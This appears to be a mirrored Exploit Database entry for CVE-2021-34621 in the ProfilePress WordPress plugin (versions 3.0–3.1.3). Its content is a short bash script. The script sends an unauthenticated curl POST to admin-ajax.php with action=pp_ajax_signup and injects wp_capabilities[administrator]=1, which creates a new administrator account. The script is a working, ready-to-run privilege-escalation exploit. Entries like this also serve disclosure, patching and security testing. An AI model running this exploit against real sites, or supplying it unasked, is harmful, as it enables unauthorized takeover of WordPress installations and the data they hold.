WordPress Plugin ProfilePress 3.1.3 – Privilege Escalation (Unauthenticated)

• Exploit Database
• 121 阅读

• 作者： Numan Rajkotiya
  日期： 2021-08-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50242/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

  # Exploit Title: WordPress Plugin ProfilePress 3.1.3 - Privilege Escalation (Unauthenticated) # Date: 23-08-2021 # Exploit Author: Numan Rajkotiya # Vendor Homepage: https://profilepress.net/ # Software Link: https://downloads.wordpress.org/plugin/wp-user-avatar.3.0.zip # Version: [1] ProfilePress (Formerly WP User Avatar) 3.0 - 3.13 [2] WordPress 4.7 or higher # Tested on: ProfilePress 3.0, Apache 2.4, and Windows Build 19043.928 # CVE : CVE-2021-34621   #!/bin/bash   # Exploit for WordPress Plugin ProfilePress 3.0 - 3.1.3 # Change the name and password as per your requirement.   URL=$1   curl -X POST $URL"/wp-admin/admin-ajax.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "reg_username=numan" \ -d "reg_email=pwned@numan.com" \ -d "reg_password=numan" \ -d "reg_password_present=true" \ -d "wp_capabilities[administrator]=1" \ -d "reg_first_name=pwned" \ -d "reg_last_name=numan" \ -d "action=pp_ajax_signup"